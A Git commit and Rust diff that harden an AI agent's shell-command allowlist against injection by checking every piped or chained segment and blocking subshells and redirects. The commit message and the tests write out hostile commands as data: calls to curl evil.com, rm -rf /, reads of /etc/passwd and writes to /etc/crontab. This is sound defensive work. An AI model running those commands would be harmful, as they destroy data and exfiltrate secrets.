fix: validate all segments of shell commands against allowlist

The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:

  echo $(rm -rf /)      — subshell hides arbitrary command
  echo `curl evil.com`  — backtick subshell
  ls | curl evil.com    — pipe to unlisted command
  ls && rm -rf /        — chain via &&
  ls\nrm -rf /          — newline injection

Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)

Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.

CWE-78 / HIGH-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Víctor R. Escobar 2026-02-14 13:55:09 +01:00
parent ac540d2b63
commit e6a4166edb

View file

@ -132,25 +132,100 @@ impl Default for SecurityPolicy {
} }
} }
/// Skip leading environment variable assignments (e.g. `FOO=bar cmd args`).
/// Returns the remainder starting at the first non-assignment word.
fn skip_env_assignments(s: &str) -> &str {
let mut rest = s;
loop {
let Some(word) = rest.split_whitespace().next() else {
return rest;
};
// Environment assignment: contains '=' and starts with a letter or underscore
if word.contains('=')
&& word
.chars()
.next()
.is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
{
// Advance past this word
rest = rest[word.len()..].trim_start();
} else {
return rest;
}
}
}
impl SecurityPolicy { impl SecurityPolicy {
/// Check if a shell command is allowed /// Check if a shell command is allowed.
///
/// Validates the **entire** command string, not just the first word:
/// - Blocks subshell operators (`` ` ``, `$(`) that hide arbitrary execution
/// - Splits on command separators (`|`, `&&`, `||`, `;`, newlines) and
/// validates each sub-command against the allowlist
/// - Blocks output redirections (`>`, `>>`) that could write outside workspace
pub fn is_command_allowed(&self, command: &str) -> bool { pub fn is_command_allowed(&self, command: &str) -> bool {
if self.autonomy == AutonomyLevel::ReadOnly { if self.autonomy == AutonomyLevel::ReadOnly {
return false; return false;
} }
// Extract the base command (first word) // Block subshell/expansion operators — these allow hiding arbitrary
let base_cmd = command // commands inside an allowed command (e.g. `echo $(rm -rf /)`)
.split_whitespace() if command.contains('`') || command.contains("$(") || command.contains("${") {
.next() return false;
.unwrap_or("") }
.rsplit('/')
.next()
.unwrap_or("");
self.allowed_commands // Block output redirections — they can write to arbitrary paths
.iter() if command.contains('>') {
.any(|allowed| allowed == base_cmd) return false;
}
// Split on command separators and validate each sub-command.
// We collect segments by scanning for separator characters.
let mut normalized = command.to_string();
for sep in ["&&", "||"] {
normalized = normalized.replace(sep, "\x00");
}
for sep in ['\n', ';', '|'] {
normalized = normalized.replace(sep, "\x00");
}
for segment in normalized.split('\x00') {
let segment = segment.trim();
if segment.is_empty() {
continue;
}
// Strip leading env var assignments (e.g. FOO=bar cmd)
let cmd_part = skip_env_assignments(segment);
let base_cmd = cmd_part
.split_whitespace()
.next()
.unwrap_or("")
.rsplit('/')
.next()
.unwrap_or("");
if base_cmd.is_empty() {
continue;
}
if !self
.allowed_commands
.iter()
.any(|allowed| allowed == base_cmd)
{
return false;
}
}
// At least one command must be present
let has_cmd = normalized.split('\x00').any(|s| {
let s = skip_env_assignments(s.trim());
s.split_whitespace().next().is_some_and(|w| !w.is_empty())
});
has_cmd
} }
/// Check if a file path is allowed (no path traversal, within workspace) /// Check if a file path is allowed (no path traversal, within workspace)
@ -329,10 +404,14 @@ mod tests {
} }
#[test] #[test]
fn command_with_pipes_uses_first_word() { fn command_with_pipes_validates_all_segments() {
let p = default_policy(); let p = default_policy();
// Both sides of the pipe are in the allowlist
assert!(p.is_command_allowed("ls | grep foo")); assert!(p.is_command_allowed("ls | grep foo"));
assert!(p.is_command_allowed("cat file.txt | wc -l")); assert!(p.is_command_allowed("cat file.txt | wc -l"));
// Second command not in allowlist — blocked
assert!(!p.is_command_allowed("ls | curl http://evil.com"));
assert!(!p.is_command_allowed("echo hello | python3 -"));
} }
#[test] #[test]
@ -538,15 +617,17 @@ mod tests {
} }
#[test] #[test]
fn command_injection_backtick() { fn command_injection_backtick_blocked() {
let p = default_policy(); let p = default_policy();
assert!(p.is_command_allowed("echo `whoami`")); assert!(!p.is_command_allowed("echo `whoami`"));
assert!(!p.is_command_allowed("echo `rm -rf /`"));
} }
#[test] #[test]
fn command_injection_dollar_paren() { fn command_injection_dollar_paren_blocked() {
let p = default_policy(); let p = default_policy();
assert!(p.is_command_allowed("echo $(cat /etc/passwd)")); assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
assert!(!p.is_command_allowed("echo $(rm -rf /)"));
} }
#[test] #[test]
@ -557,9 +638,52 @@ mod tests {
} }
#[test] #[test]
fn command_newline_injection() { fn command_newline_injection_blocked() {
let p = default_policy(); let p = default_policy();
assert!(p.is_command_allowed("ls\nrm -rf /")); // Newline splits into two commands; "rm" is not in allowlist
assert!(!p.is_command_allowed("ls\nrm -rf /"));
// Both allowed — OK
assert!(p.is_command_allowed("ls\necho hello"));
}
#[test]
fn command_injection_and_chain_blocked() {
let p = default_policy();
assert!(!p.is_command_allowed("ls && rm -rf /"));
assert!(!p.is_command_allowed("echo ok && curl http://evil.com"));
// Both allowed — OK
assert!(p.is_command_allowed("ls && echo done"));
}
#[test]
fn command_injection_or_chain_blocked() {
let p = default_policy();
assert!(!p.is_command_allowed("ls || rm -rf /"));
// Both allowed — OK
assert!(p.is_command_allowed("ls || echo fallback"));
}
#[test]
fn command_injection_redirect_blocked() {
let p = default_policy();
assert!(!p.is_command_allowed("echo secret > /etc/crontab"));
assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt"));
}
#[test]
fn command_injection_dollar_brace_blocked() {
let p = default_policy();
assert!(!p.is_command_allowed("echo ${IFS}cat${IFS}/etc/passwd"));
}
#[test]
fn command_env_var_prefix_with_allowed_cmd() {
let p = default_policy();
// env assignment + allowed command — OK
assert!(p.is_command_allowed("FOO=bar ls"));
assert!(p.is_command_allowed("LANG=C grep pattern file"));
// env assignment + disallowed command — blocked
assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
} }
// ── Edge cases: path traversal ────────────────────────── // ── Edge cases: path traversal ──────────────────────────